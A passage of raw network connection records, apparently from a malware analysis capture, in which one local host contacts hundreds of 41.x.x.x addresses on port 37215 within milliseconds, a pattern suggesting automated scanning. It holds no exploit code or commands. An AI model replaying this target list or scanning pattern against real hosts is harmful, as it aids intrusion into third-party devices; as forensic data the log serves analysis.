Feb 20, 2022 15:50:57.652935028 CET	1386	37215	192.168.2.23	41.47.180.18
Feb 20, 2022 15:50:57.652945042 CET	1386	37215	192.168.2.23	41.114.158.221
Feb 20, 2022 15:50:57.652957916 CET	1386	37215	192.168.2.23	41.10.166.154
Feb 20, 2022 15:50:57.652960062 CET	1386	37215	192.168.2.23	41.208.56.207
Feb 20, 2022 15:50:57.653001070 CET	1386	37215	192.168.2.23	41.168.124.48
Feb 20, 2022 15:50:57.653022051 CET	1386	37215	192.168.2.23	41.11.187.121
Feb 20, 2022 15:50:57.653054953 CET	1386	37215	192.168.2.23	41.97.139.75
Feb 20, 2022 15:50:57.653064966 CET	1386	37215	192.168.2.23	41.124.100.207
Feb 20, 2022 15:50:57.653115034 CET	1386	37215	192.168.2.23	41.203.53.201
Feb 20, 2022 15:50:57.653157949 CET	1386	37215	192.168.2.23	41.106.221.156
Feb 20, 2022 15:50:57.653166056 CET	1386	37215	192.168.2.23	41.70.240.79
Feb 20, 2022 15:50:57.653192997 CET	1386	37215	192.168.2.23	41.20.47.90
Feb 20, 2022 15:50:57.653211117 CET	1386	37215	192.168.2.23	41.32.158.157
Feb 20, 2022 15:50:57.653229952 CET	1386	37215	192.168.2.23	41.16.85.22
Feb 20, 2022 15:50:57.653259039 CET	1386	37215	192.168.2.23	41.168.128.72
Feb 20, 2022 15:50:57.653263092 CET	1386	37215	192.168.2.23	41.133.149.244
Feb 20, 2022 15:50:57.653280020 CET	1386	37215	192.168.2.23	41.193.195.152
Feb 20, 2022 15:50:57.653283119 CET	1386	37215	192.168.2.23	41.3.37.132
Feb 20, 2022 15:50:57.653307915 CET	1386	37215	192.168.2.23	41.252.187.121
Feb 20, 2022 15:50:57.653359890 CET	1386	37215	192.168.2.23	41.68.120.138
Feb 20, 2022 15:50:57.653386116 CET	1386	37215	192.168.2.23	41.183.226.168
Feb 20, 2022 15:50:57.653392076 CET	1386	37215	192.168.2.23	41.119.120.188
Feb 20, 2022 15:50:57.653407097 CET	1386	37215	192.168.2.23	41.98.107.253
Feb 20, 2022 15:50:57.653414011 CET	1386	37215	192.168.2.23	41.5.20.119
Feb 20, 2022 15:50:57.653417110 CET	1386	37215	192.168.2.23	41.110.144.211
Feb 20, 2022 15:50:57.653445005 CET	1386	37215	192.168.2.23	41.141.21.13
Feb 20, 2022 15:50:57.653502941 CET	1386	37215	192.168.2.23	41.146.184.115
Feb 20, 2022 15:50:57.653528929 CET	1386	37215	192.168.2.23	41.51.35.91
Feb 20, 2022 15:50:57.653533936 CET	1386	37215	192.168.2.23	41.134.207.231
Feb 20, 2022 15:50:57.653539896 CET	1386	37215	192.168.2.23	41.155.59.48
Feb 20, 2022 15:50:57.653573990 CET	1386	37215	192.168.2.23	41.26.245.164
Feb 20, 2022 15:50:57.653610945 CET	1386	37215	192.168.2.23	41.235.173.155
Feb 20, 2022 15:50:57.653631926 CET	1386	37215	192.168.2.23	41.205.75.36
Feb 20, 2022 15:50:57.653666973 CET	1386	37215	192.168.2.23	41.88.37.56
Feb 20, 2022 15:50:57.653667927 CET	1386	37215	192.168.2.23	41.178.189.6
Feb 20, 2022 15:50:57.653669119 CET	1386	37215	192.168.2.23	41.227.136.98
Feb 20, 2022 15:50:57.653672934 CET	1386	37215	192.168.2.23	41.146.227.178
Feb 20, 2022 15:50:57.653696060 CET	1386	37215	192.168.2.23	41.51.63.72
Feb 20, 2022 15:50:57.653740883 CET	1386	37215	192.168.2.23	41.236.109.225
Feb 20, 2022 15:50:57.653784990 CET	1386	37215	192.168.2.23	41.14.187.45
Feb 20, 2022 15:50:57.653819084 CET	1386	37215	192.168.2.23	41.122.171.134
Feb 20, 2022 15:50:57.653840065 CET	1386	37215	192.168.2.23	41.64.164.109
Feb 20, 2022 15:50:57.653872013 CET	1386	37215	192.168.2.23	41.122.114.157
Feb 20, 2022 15:50:57.653876066 CET	1386	37215	192.168.2.23	41.236.149.15
Feb 20, 2022 15:50:57.653881073 CET	1386	37215	192.168.2.23	41.244.123.180
Feb 20, 2022 15:50:57.653882027 CET	1386	37215	192.168.2.23	41.4.84.181
Feb 20, 2022 15:50:57.653935909 CET	1386	37215	192.168.2.23	41.51.110.26
Feb 20, 2022 15:50:57.653969049 CET	1386	37215	192.168.2.23	41.91.213.242
Feb 20, 2022 15:50:57.654004097 CET	1386	37215	192.168.2.23	41.190.94.246
Feb 20, 2022 15:50:57.654037952 CET	1386	37215	192.168.2.23	41.133.182.120
Feb 20, 2022 15:50:57.654052973 CET	1386	37215	192.168.2.23	41.16.22.211
Feb 20, 2022 15:50:57.654053926 CET	1386	37215	192.168.2.23	41.30.19.69
Feb 20, 2022 15:50:57.654058933 CET	1386	37215	192.168.2.23	41.158.193.42
Feb 20, 2022 15:50:57.654140949 CET	1386	37215	192.168.2.23	41.148.249.199
Feb 20, 2022 15:50:57.654149055 CET	1386	37215	192.168.2.23	41.44.48.103
Feb 20, 2022 15:50:57.654151917 CET	1386	37215	192.168.2.23	41.130.163.25
Feb 20, 2022 15:50:57.654154062 CET	1386	37215	192.168.2.23	41.131.247.29
Feb 20, 2022 15:50:57.654268026 CET	1386	37215	192.168.2.23	41.81.112.78
Feb 20, 2022 15:50:57.654273033 CET	1386	37215	192.168.2.23	41.116.146.226
Feb 20, 2022 15:50:57.654297113 CET	1386	37215	192.168.2.23	41.215.12.10
Feb 20, 2022 15:50:57.654298067 CET	1386	37215	192.168.2.23	41.226.111.71
Feb 20, 2022 15:50:57.654304981 CET	1386	37215	192.168.2.23	41.123.6.90
Feb 20, 2022 15:50:57.654320002 CET	1386	37215	192.168.2.23	41.218.13.203
Feb 20, 2022 15:50:57.654341936 CET	1386	37215	192.168.2.23	41.22.61.148
Feb 20, 2022 15:50:57.654359102 CET	1386	37215	192.168.2.23	41.247.24.47
Feb 20, 2022 15:50:57.654422045 CET	1386	37215	192.168.2.23	41.120.148.180
Feb 20, 2022 15:50:57.654434919 CET	1386	37215	192.168.2.23	41.244.94.120
Feb 20, 2022 15:50:57.654443979 CET	1386	37215	192.168.2.23	41.81.58.141
Feb 20, 2022 15:50:57.654485941 CET	1386	37215	192.168.2.23	41.82.173.192
Feb 20, 2022 15:50:57.654485941 CET	1386	37215	192.168.2.23	41.201.123.63
Feb 20, 2022 15:50:57.654503107 CET	1386	37215	192.168.2.23	41.195.94.53
Feb 20, 2022 15:50:57.654514074 CET	1386	37215	192.168.2.23	41.44.241.59
Feb 20, 2022 15:50:57.654581070 CET	1386	37215	192.168.2.23	41.66.191.56
Feb 20, 2022 15:50:57.654572964 CET	1386	37215	192.168.2.23	41.11.216.55
Feb 20, 2022 15:50:57.654589891 CET	1386	37215	192.168.2.23	41.191.125.216
Feb 20, 2022 15:50:57.654689074 CET	1386	37215	192.168.2.23	41.6.126.119
Feb 20, 2022 15:50:57.654690027 CET	1386	37215	192.168.2.23	41.220.120.115
Feb 20, 2022 15:50:57.654699087 CET	1386	37215	192.168.2.23	41.7.84.97
Feb 20, 2022 15:50:57.654716969 CET	1386	37215	192.168.2.23	41.20.169.240
Feb 20, 2022 15:50:57.654712915 CET	1386	37215	192.168.2.23	41.194.215.69
Feb 20, 2022 15:50:57.654725075 CET	1386	37215	192.168.2.23	41.168.210.121
Feb 20, 2022 15:50:57.654727936 CET	1386	37215	192.168.2.23	41.25.194.142
Feb 20, 2022 15:50:57.654779911 CET	1386	37215	192.168.2.23	41.12.63.69
Feb 20, 2022 15:50:57.654783964 CET	1386	37215	192.168.2.23	41.129.98.193
Feb 20, 2022 15:50:57.654817104 CET	1386	37215	192.168.2.23	41.239.12.211
Feb 20, 2022 15:50:57.654844046 CET	1386	37215	192.168.2.23	41.170.60.116
Feb 20, 2022 15:50:57.654870987 CET	1386	37215	192.168.2.23	41.252.242.131
Feb 20, 2022 15:50:57.654925108 CET	1386	37215	192.168.2.23	41.50.202.255
Feb 20, 2022 15:50:57.654927969 CET	1386	37215	192.168.2.23	41.27.115.74
Feb 20, 2022 15:50:57.654933929 CET	1386	37215	192.168.2.23	41.174.130.26
Feb 20, 2022 15:50:57.654947996 CET	1386	37215	192.168.2.23	41.9.139.216
Feb 20, 2022 15:50:57.654954910 CET	1386	37215	192.168.2.23	41.47.3.16
Feb 20, 2022 15:50:57.654959917 CET	1386	37215	192.168.2.23	41.169.219.117
Feb 20, 2022 15:50:57.654992104 CET	1386	37215	192.168.2.23	41.155.207.54
Feb 20, 2022 15:50:57.655056000 CET	1386	37215	192.168.2.23	41.209.38.39
Feb 20, 2022 15:50:57.655107021 CET	1386	37215	192.168.2.23	41.147.168.75
Feb 20, 2022 15:50:57.655097961 CET	1386	37215	192.168.2.23	41.184.172.170
Feb 20, 2022 15:50:57.655128956 CET	1386	37215	192.168.2.23	41.174.224.81
Feb 20, 2022 15:50:57.655128956 CET	1386	37215	192.168.2.23	41.135.1.95
Feb 20, 2022 15:50:57.655131102 CET	1386	37215	192.168.2.23	41.30.234.157
Feb 20, 2022 15:50:57.655133009 CET	1386	37215	192.168.2.23	41.174.89.146
Feb 20, 2022 15:50:57.655143976 CET	1386	37215	192.168.2.23	41.71.99.142
Feb 20, 2022 15:50:57.655165911 CET	1386	37215	192.168.2.23	41.219.108.214
Feb 20, 2022 15:50:57.655186892 CET	1386	37215	192.168.2.23	41.32.109.188
Feb 20, 2022 15:50:57.655211926 CET	1386	37215	192.168.2.23	41.163.240.162
Feb 20, 2022 15:50:57.655230999 CET	1386	37215	192.168.2.23	41.20.89.122
Feb 20, 2022 15:50:57.655256033 CET	1386	37215	192.168.2.23	41.0.162.198
Feb 20, 2022 15:50:57.655312061 CET	1386	37215	192.168.2.23	41.65.201.123
Feb 20, 2022 15:50:57.655345917 CET	1386	37215	192.168.2.23	41.235.238.73
Feb 20, 2022 15:50:57.655381918 CET	1386	37215	192.168.2.23	41.168.170.24
Feb 20, 2022 15:50:57.655385971 CET	1386	37215	192.168.2.23	41.211.139.208
Feb 20, 2022 15:50:57.655410051 CET	1386	37215	192.168.2.23	41.179.37.168
Feb 20, 2022 15:50:57.655411959 CET	1386	37215	192.168.2.23	41.185.32.9
Feb 20, 2022 15:50:57.655419111 CET	1386	37215	192.168.2.23	41.189.21.188
Feb 20, 2022 15:50:57.655441046 CET	1386	37215	192.168.2.23	41.16.6.157
Feb 20, 2022 15:50:57.655494928 CET	1386	37215	192.168.2.23	41.253.170.244
Feb 20, 2022 15:50:57.655524015 CET	1386	37215	192.168.2.23	41.67.127.40
Feb 20, 2022 15:50:57.655524969 CET	1386	37215	192.168.2.23	41.127.31.235
Feb 20, 2022 15:50:57.655527115 CET	1386	37215	192.168.2.23	41.176.10.146
Feb 20, 2022 15:50:57.655555964 CET	1386	37215	192.168.2.23	41.71.90.52
Feb 20, 2022 15:50:57.655575037 CET	1386	37215	192.168.2.23	41.69.44.181
Feb 20, 2022 15:50:57.655595064 CET	1386	37215	192.168.2.23	41.205.166.236
Feb 20, 2022 15:50:57.655618906 CET	1386	37215	192.168.2.23	41.191.32.106
Feb 20, 2022 15:50:57.655639887 CET	1386	37215	192.168.2.23	41.35.67.170
Feb 20, 2022 15:50:57.655673027 CET	1386	37215	192.168.2.23	41.236.234.198
Feb 20, 2022 15:50:57.655719042 CET	1386	37215	192.168.2.23	41.107.221.64
Feb 20, 2022 15:50:57.655725956 CET	1386	37215	192.168.2.23	41.228.80.160
Feb 20, 2022 15:50:57.655760050 CET	1386	37215	192.168.2.23	41.151.131.165
Feb 20, 2022 15:50:57.655767918 CET	1386	37215	192.168.2.23	41.161.42.167
Feb 20, 2022 15:50:57.655770063 CET	1386	37215	192.168.2.23	41.192.167.243
Feb 20, 2022 15:50:57.655782938 CET	1386	37215	192.168.2.23	41.85.206.132
Feb 20, 2022 15:50:57.655847073 CET	1386	37215	192.168.2.23	41.5.13.87
Feb 20, 2022 15:50:57.655849934 CET	1386	37215	192.168.2.23	41.106.215.85
Feb 20, 2022 15:50:57.655862093 CET	1386	37215	192.168.2.23	41.188.211.44
Feb 20, 2022 15:50:57.655894995 CET	1386	37215	192.168.2.23	41.23.159.213
Feb 20, 2022 15:50:57.655916929 CET	1386	37215	192.168.2.23	41.241.137.162
Feb 20, 2022 15:50:57.655924082 CET	1386	37215	192.168.2.23	41.20.23.27
Feb 20, 2022 15:50:57.655925989 CET	1386	37215	192.168.2.23	41.38.126.203
Feb 20, 2022 15:50:57.655982971 CET	1386	37215	192.168.2.23	41.23.160.164
Feb 20, 2022 15:50:57.656044006 CET	1386	37215	192.168.2.23	41.142.80.170
Feb 20, 2022 15:50:57.656053066 CET	1386	37215	192.168.2.23	41.49.32.25
Feb 20, 2022 15:50:57.656063080 CET	1386	37215	192.168.2.23	41.50.183.150
Feb 20, 2022 15:50:57.656064034 CET	1386	37215	192.168.2.23	41.186.194.88
Feb 20, 2022 15:50:57.656069040 CET	1386	37215	192.168.2.23	41.164.213.224
Feb 20, 2022 15:50:57.656071901 CET	1386	37215	192.168.2.23	41.241.70.1
Feb 20, 2022 15:50:57.656140089 CET	1386	37215	192.168.2.23	41.28.39.192
Feb 20, 2022 15:50:57.656142950 CET	1386	37215	192.168.2.23	41.207.209.114
Feb 20, 2022 15:50:57.656143904 CET	1386	37215	192.168.2.23	41.255.178.72
Feb 20, 2022 15:50:57.656193018 CET	1386	37215	192.168.2.23	41.82.255.217
Feb 20, 2022 15:50:57.656213045 CET	1386	37215	192.168.2.23	41.180.58.150
Feb 20, 2022 15:50:57.656238079 CET	1386	37215	192.168.2.23	41.129.38.123
Feb 20, 2022 15:50:57.656255007 CET	1386	37215	192.168.2.23	41.126.126.165
Feb 20, 2022 15:50:57.656267881 CET	1386	37215	192.168.2.23	41.106.52.210
Feb 20, 2022 15:50:57.656274080 CET	1386	37215	192.168.2.23	41.83.180.146
Feb 20, 2022 15:50:57.656301022 CET	1386	37215	192.168.2.23	41.3.2.66
Feb 20, 2022 15:50:57.656341076 CET	1386	37215	192.168.2.23	41.71.121.187
Feb 20, 2022 15:50:57.656342983 CET	1386	37215	192.168.2.23	41.203.103.43
Feb 20, 2022 15:50:57.656364918 CET	1386	37215	192.168.2.23	41.136.140.60
Feb 20, 2022 15:50:57.656375885 CET	1386	37215	192.168.2.23	41.93.130.245
Feb 20, 2022 15:50:57.656379938 CET	1386	37215	192.168.2.23	41.208.183.63
Feb 20, 2022 15:50:57.656440020 CET	1386	37215	192.168.2.23	41.87.145.109
Feb 20, 2022 15:50:57.656443119 CET	1386	37215	192.168.2.23	41.108.208.110
Feb 20, 2022 15:50:57.656443119 CET	1386	37215	192.168.2.23	41.168.109.174
Feb 20, 2022 15:50:57.656446934 CET	1386	37215	192.168.2.23	41.116.64.123
Feb 20, 2022 15:50:57.656522036 CET	1386	37215	192.168.2.23	41.18.113.247
Feb 20, 2022 15:50:57.656533957 CET	1386	37215	192.168.2.23	41.141.59.71
Feb 20, 2022 15:50:57.656539917 CET	1386	37215	192.168.2.23	41.246.179.225
Feb 20, 2022 15:50:57.656544924 CET	1386	37215	192.168.2.23	41.15.61.69
Feb 20, 2022 15:50:57.656593084 CET	1386	37215	192.168.2.23	41.162.63.126
Feb 20, 2022 15:50:57.656619072 CET	1386	37215	192.168.2.23	41.64.206.27
Feb 20, 2022 15:50:57.656626940 CET	1386	37215	192.168.2.23	41.124.234.211
Feb 20, 2022 15:50:57.656641006 CET	1386	37215	192.168.2.23	41.160.125.150
Feb 20, 2022 15:50:57.656652927 CET	1386	37215	192.168.2.23	41.165.222.168
Feb 20, 2022 15:50:57.656667948 CET	1386	37215	192.168.2.23	41.24.130.171
Feb 20, 2022 15:50:57.656678915 CET	1386	37215	192.168.2.23	41.173.241.113
Feb 20, 2022 15:50:57.656730890 CET	1386	37215	192.168.2.23	41.218.91.155
Feb 20, 2022 15:50:57.656769037 CET	1386	37215	192.168.2.23	41.41.149.91
Feb 20, 2022 15:50:57.656810999 CET	1386	37215	192.168.2.23	41.250.28.231
Feb 20, 2022 15:50:57.656812906 CET	1386	37215	192.168.2.23	41.153.179.52
Feb 20, 2022 15:50:57.656831980 CET	1386	37215	192.168.2.23	41.57.114.114
Feb 20, 2022 15:50:57.656837940 CET	1386	37215	192.168.2.23	41.47.112.164
Feb 20, 2022 15:50:57.656867981 CET	1386	37215	192.168.2.23	41.41.247.250
Feb 20, 2022 15:50:57.656893969 CET	1386	37215	192.168.2.23	41.17.157.229
Feb 20, 2022 15:50:57.656925917 CET	1386	37215	192.168.2.23	41.176.143.241
Feb 20, 2022 15:50:57.656958103 CET	1386	37215	192.168.2.23	41.219.244.114
Feb 20, 2022 15:50:57.656969070 CET	1386	37215	192.168.2.23	41.35.144.100
Feb 20, 2022 15:50:57.656980038 CET	1386	37215	192.168.2.23	41.202.89.143
Feb 20, 2022 15:50:57.657005072 CET	1386	37215	192.168.2.23	41.142.105.72
Feb 20, 2022 15:50:57.657033920 CET	1386	37215	192.168.2.23	41.153.107.246
Feb 20, 2022 15:50:57.657061100 CET	1386	37215	192.168.2.23	41.2.5.213
Feb 20, 2022 15:50:57.657071114 CET	1386	37215	192.168.2.23	41.25.20.104
Feb 20, 2022 15:50:57.657087088 CET	1386	37215	192.168.2.23	41.9.180.168
Feb 20, 2022 15:50:57.657104015 CET	1386	37215	192.168.2.23	41.96.197.22
Feb 20, 2022 15:50:57.657133102 CET	1386	37215	192.168.2.23	41.143.119.102
Feb 20, 2022 15:50:57.657186985 CET	1386	37215	192.168.2.23	41.3.81.97
Feb 20, 2022 15:50:57.657188892 CET	1386	37215	192.168.2.23	41.180.19.142
Feb 20, 2022 15:50:57.657191038 CET	1386	37215	192.168.2.23	41.145.14.8
Feb 20, 2022 15:50:57.657216072 CET	1386	37215	192.168.2.23	41.172.163.165
Feb 20, 2022 15:50:57.657237053 CET	1386	37215	192.168.2.23	41.19.12.180
Feb 20, 2022 15:50:57.657263041 CET	1386	37215	192.168.2.23	41.72.63.2
Feb 20, 2022 15:50:57.657305002 CET	1386	37215	192.168.2.23	41.153.33.139
Feb 20, 2022 15:50:57.657306910 CET	1386	37215	192.168.2.23	41.97.62.231
Feb 20, 2022 15:50:57.657310009 CET	1386	37215	192.168.2.23	41.181.214.242
Feb 20, 2022 15:50:57.657334089 CET	1386	37215	192.168.2.23	41.237.42.215
Feb 20, 2022 15:50:57.657392025 CET	1386	37215	192.168.2.23	41.51.9.60
Feb 20, 2022 15:50:57.657392979 CET	1386	37215	192.168.2.23	41.108.147.47
Feb 20, 2022 15:50:57.657393932 CET	1386	37215	192.168.2.23	41.68.15.4
Feb 20, 2022 15:50:57.657406092 CET	1386	37215	192.168.2.23	41.57.7.119
Feb 20, 2022 15:50:57.657422066 CET	1386	37215	192.168.2.23	41.140.128.195
Feb 20, 2022 15:50:57.657452106 CET	1386	37215	192.168.2.23	41.160.119.21
Feb 20, 2022 15:50:57.657469988 CET	1386	37215	192.168.2.23	41.75.180.133
Feb 20, 2022 15:50:57.657505989 CET	1386	37215	192.168.2.23	41.121.35.55
Feb 20, 2022 15:50:57.657535076 CET	1386	37215	192.168.2.23	41.202.187.74
Feb 20, 2022 15:50:57.657562017 CET	1386	37215	192.168.2.23	41.53.224.49
Feb 20, 2022 15:50:57.657582998 CET	1386	37215	192.168.2.23	41.152.93.65
Feb 20, 2022 15:50:57.657609940 CET	1386	37215	192.168.2.23	41.150.196.107
Feb 20, 2022 15:50:57.657650948 CET	1386	37215	192.168.2.23	41.68.77.35
Feb 20, 2022 15:50:57.657651901 CET	1386	37215	192.168.2.23	41.248.158.196
Feb 20, 2022 15:50:57.657668114 CET	1386	37215	192.168.2.23	41.220.139.236
Feb 20, 2022 15:50:57.657684088 CET	1386	37215	192.168.2.23	41.203.93.120
Feb 20, 2022 15:50:57.657685995 CET	1386	37215	192.168.2.23	41.201.244.230
Feb 20, 2022 15:50:57.657749891 CET	1386	37215	192.168.2.23	41.144.254.46
Feb 20, 2022 15:50:57.657751083 CET	1386	37215	192.168.2.23	41.102.55.141
Feb 20, 2022 15:50:57.657752991 CET	1386	37215	192.168.2.23	41.225.115.254
Feb 20, 2022 15:50:57.657798052 CET	1386	37215	192.168.2.23	41.77.140.54
Feb 20, 2022 15:50:57.657810926 CET	1386	37215	192.168.2.23	41.4.188.186
Feb 20, 2022 15:50:57.657824039 CET	1386	37215	192.168.2.23	41.161.83.36
Feb 20, 2022 15:50:57.657852888 CET	1386	37215	192.168.2.23	41.240.13.52
Feb 20, 2022 15:50:57.657883883 CET	1386	37215	192.168.2.23	41.70.16.134
Feb 20, 2022 15:50:57.657902956 CET	1386	37215	192.168.2.23	41.87.86.234
Feb 20, 2022 15:50:57.657907009 CET	1386	37215	192.168.2.23	41.26.197.193
Feb 20, 2022 15:50:57.657911062 CET	1386	37215	192.168.2.23	41.102.26.58
Feb 20, 2022 15:50:57.657990932 CET	1386	37215	192.168.2.23	41.23.229.42
Feb 20, 2022 15:50:57.657996893 CET	1386	37215	192.168.2.23	41.38.216.200
Feb 20, 2022 15:50:57.658000946 CET	1386	37215	192.168.2.23	41.179.150.216
Feb 20, 2022 15:50:57.658016920 CET	1386	37215	192.168.2.23	41.34.72.6
Feb 20, 2022 15:50:57.658047915 CET	1386	37215	192.168.2.23	41.104.208.213
Feb 20, 2022 15:50:57.658065081 CET	1386	37215	192.168.2.23	41.196.57.239
Feb 20, 2022 15:50:57.658092022 CET	1386	37215	192.168.2.23	41.232.77.149
Feb 20, 2022 15:50:57.658126116 CET	1386	37215	192.168.2.23	41.66.112.119
Feb 20, 2022 15:50:57.658128023 CET	1386	37215	192.168.2.23	41.165.74.233
Feb 20, 2022 15:50:57.658133984 CET	1386	37215	192.168.2.23	41.0.10.177
Feb 20, 2022 15:50:57.658154011 CET	1386	37215	192.168.2.23	41.169.11.178
Feb 20, 2022 15:50:57.658179998 CET	1386	37215	192.168.2.23	41.178.115.101
Feb 20, 2022 15:50:57.658189058 CET	1386	37215	192.168.2.23	41.34.28.222
Feb 20, 2022 15:50:57.658267021 CET	1386	37215	192.168.2.23	41.251.145.11
Feb 20, 2022 15:50:57.658267975 CET	1386	37215	192.168.2.23	41.194.185.134
Feb 20, 2022 15:50:57.658274889 CET	1386	37215	192.168.2.23	41.74.236.140
Feb 20, 2022 15:50:57.658297062 CET	1386	37215	192.168.2.23	41.188.123.73
Feb 20, 2022 15:50:57.658318996 CET	1386	37215	192.168.2.23	41.37.81.51
Feb 20, 2022 15:50:57.658319950 CET	1386	37215	192.168.2.23	41.27.192.191
Feb 20, 2022 15:50:57.658343077 CET	1386	37215	192.168.2.23	41.68.253.228
Feb 20, 2022 15:50:57.658365965 CET	1386	37215	192.168.2.23	41.182.163.121
Feb 20, 2022 15:50:57.658384085 CET	1386	37215	192.168.2.23	41.250.76.191
Feb 20, 2022 15:50:57.658421993 CET	1386	37215	192.168.2.23	41.217.136.185
Feb 20, 2022 15:50:57.658432961 CET	1386	37215	192.168.2.23	41.102.178.2
Feb 20, 2022 15:50:57.658433914 CET	1386	37215	192.168.2.23	41.145.5.204
Feb 20, 2022 15:50:57.658478022 CET	1386	37215	192.168.2.23	41.135.92.163
Feb 20, 2022 15:50:57.658489943 CET	1386	37215	192.168.2.23	41.34.237.119
Feb 20, 2022 15:50:57.658505917 CET	1386	37215	192.168.2.23	41.253.205.186
Feb 20, 2022 15:50:57.658505917 CET	1386	37215	192.168.2.23	41.82.132.156
Feb 20, 2022 15:50:57.658540010 CET	1386	37215	192.168.2.23	41.53.170.189
Feb 20, 2022 15:50:57.658579111 CET	1386	37215	192.168.2.23	41.148.71.26
Feb 20, 2022 15:50:57.658587933 CET	1386	37215	192.168.2.23	41.7.222.66
Feb 20, 2022 15:50:57.658596992 CET	1386	37215	192.168.2.23	41.33.218.104
Feb 20, 2022 15:50:57.658612967 CET	1386	37215	192.168.2.23	41.225.205.23
Feb 20, 2022 15:50:57.658629894 CET	37215	1898	197.130.152.33	192.168.2.23
Feb 20, 2022 15:50:57.658654928 CET	1386	37215	192.168.2.23	41.242.213.52
Feb 20, 2022 15:50:57.658674955 CET	1386	37215	192.168.2.23	41.117.57.7
Feb 20, 2022 15:50:57.658683062 CET	1386	37215	192.168.2.23	41.198.63.41
Feb 20, 2022 15:50:57.658716917 CET	1386	37215	192.168.2.23	41.165.34.226
Feb 20, 2022 15:50:57.658727884 CET	1386	37215	192.168.2.23	41.109.120.137
Feb 20, 2022 15:50:57.658740997 CET	1386	37215	192.168.2.23	41.31.29.241
Feb 20, 2022 15:50:57.658777952 CET	1386	37215	192.168.2.23	41.126.115.85
Feb 20, 2022 15:50:57.658799887 CET	1386	37215	192.168.2.23	41.23.32.253
Feb 20, 2022 15:50:57.658806086 CET	1386	37215	192.168.2.23	41.223.192.173
Feb 20, 2022 15:50:57.658828020 CET	1386	37215	192.168.2.23	41.22.60.78
Feb 20, 2022 15:50:57.658843040 CET	1386	37215	192.168.2.23	41.15.93.69
Feb 20, 2022 15:50:57.658885002 CET	1386	37215	192.168.2.23	41.71.1.118
Feb 20, 2022 15:50:57.658905029 CET	1386	37215	192.168.2.23	41.235.222.147
Feb 20, 2022 15:50:57.658925056 CET	1386	37215	192.168.2.23	41.24.49.92
Feb 20, 2022 15:50:57.658946037 CET	1386	37215	192.168.2.23	41.86.37.79
Feb 20, 2022 15:50:57.658958912 CET	1386	37215	192.168.2.23	41.245.162.182
Feb 20, 2022 15:50:57.658986092 CET	1386	37215	192.168.2.23	41.217.37.34
Feb 20, 2022 15:50:57.658998966 CET	1386	37215	192.168.2.23	41.11.98.212
Feb 20, 2022 15:50:57.659008026 CET	1386	37215	192.168.2.23	41.55.20.166
Feb 20, 2022 15:50:57.659024954 CET	1386	37215	192.168.2.23	41.209.106.73
Feb 20, 2022 15:50:57.659085989 CET	1898	37215	192.168.2.23	41.126.142.230
Feb 20, 2022 15:50:57.659132957 CET	1898	37215	192.168.2.23	41.238.209.180
Feb 20, 2022 15:50:57.659135103 CET	1386	37215	192.168.2.23	41.138.180.82
Feb 20, 2022 15:50:57.659137011 CET	1898	37215	192.168.2.23	41.171.107.145
Feb 20, 2022 15:50:57.659152031 CET	1898	37215	192.168.2.23	41.98.130.155
Feb 20, 2022 15:50:57.659162998 CET	1898	37215	192.168.2.23	41.84.198.123
Feb 20, 2022 15:50:57.659188032 CET	1898	37215	192.168.2.23	41.188.219.107
Feb 20, 2022 15:50:57.659229040 CET	1898	37215	192.168.2.23	41.42.178.206
Feb 20, 2022 15:50:57.659265995 CET	1898	37215	192.168.2.23	41.208.203.255
Feb 20, 2022 15:50:57.659272909 CET	1898	37215	192.168.2.23	41.87.25.42
Feb 20, 2022 15:50:57.659301996 CET	1898	37215	192.168.2.23	41.93.23.189
Feb 20, 2022 15:50:57.659323931 CET	1898	37215	192.168.2.23	41.28.201.216
Feb 20, 2022 15:50:57.659329891 CET	1898	37215	192.168.2.23	41.144.241.80
Feb 20, 2022 15:50:57.659344912 CET	1898	37215	192.168.2.23	41.96.229.98
Feb 20, 2022 15:50:57.659353018 CET	1898	37215	192.168.2.23	41.248.137.184
Feb 20, 2022 15:50:57.659360886 CET	1898	37215	192.168.2.23	41.190.133.41
Feb 20, 2022 15:50:57.659384966 CET	1898	37215	192.168.2.23	41.139.41.145
Feb 20, 2022 15:50:57.659403086 CET	1898	37215	192.168.2.23	41.8.196.173
Feb 20, 2022 15:50:57.659465075 CET	1898	37215	192.168.2.23	41.203.174.186
Feb 20, 2022 15:50:57.659466028 CET	1898	37215	192.168.2.23	41.95.182.136
Feb 20, 2022 15:50:57.659466028 CET	1898	37215	192.168.2.23	41.86.121.16
Feb 20, 2022 15:50:57.659499884 CET	1898	37215	192.168.2.23	41.211.127.244
Feb 20, 2022 15:50:57.659521103 CET	1898	37215	192.168.2.23	41.62.177.184
Feb 20, 2022 15:50:57.659547091 CET	1898	37215	192.168.2.23	41.217.64.142
Feb 20, 2022 15:50:57.659598112 CET	1898	37215	192.168.2.23	41.23.80.84
Feb 20, 2022 15:50:57.659605026 CET	1898	37215	192.168.2.23	41.219.188.61
Feb 20, 2022 15:50:57.659630060 CET	1898	37215	192.168.2.23	41.147.155.123
Feb 20, 2022 15:50:57.659643888 CET	1898	37215	192.168.2.23	41.209.231.238
Feb 20, 2022 15:50:57.659676075 CET	1898	37215	192.168.2.23	41.120.127.70
Feb 20, 2022 15:50:57.659682989 CET	1898	37215	192.168.2.23	41.106.136.64
Feb 20, 2022 15:50:57.659687996 CET	1898	37215	192.168.2.23	41.36.109.111
Feb 20, 2022 15:50:57.659718990 CET	1898	37215	192.168.2.23	41.104.19.109
Feb 20, 2022 15:50:57.659735918 CET	1898	37215	192.168.2.23	41.115.72.161
Feb 20, 2022 15:50:57.659763098 CET	1898	37215	192.168.2.23	41.220.191.124
Feb 20, 2022 15:50:57.659785032 CET	1898	37215	192.168.2.23	41.82.137.154
Feb 20, 2022 15:50:57.659801006 CET	1898	37215	192.168.2.23	41.125.153.53
Feb 20, 2022 15:50:57.659840107 CET	1898	37215	192.168.2.23	41.247.37.60
Feb 20, 2022 15:50:57.659867048 CET	1898	37215	192.168.2.23	41.13.60.226
Feb 20, 2022 15:50:57.659873009 CET	1898	37215	192.168.2.23	41.173.63.91
Feb 20, 2022 15:50:57.659887075 CET	1898	37215	192.168.2.23	41.254.167.138
Feb 20, 2022 15:50:57.659905910 CET	1898	37215	192.168.2.23	41.160.79.58
Feb 20, 2022 15:50:57.659956932 CET	1898	37215	192.168.2.23	41.118.46.25
Feb 20, 2022 15:50:57.659960985 CET	1898	37215	192.168.2.23	41.146.126.126
Feb 20, 2022 15:50:57.659990072 CET	1898	37215	192.168.2.23	41.2.95.210
Feb 20, 2022 15:50:57.660000086 CET	1898	37215	192.168.2.23	41.55.209.27
Feb 20, 2022 15:50:57.660065889 CET	1898	37215	192.168.2.23	41.180.153.76
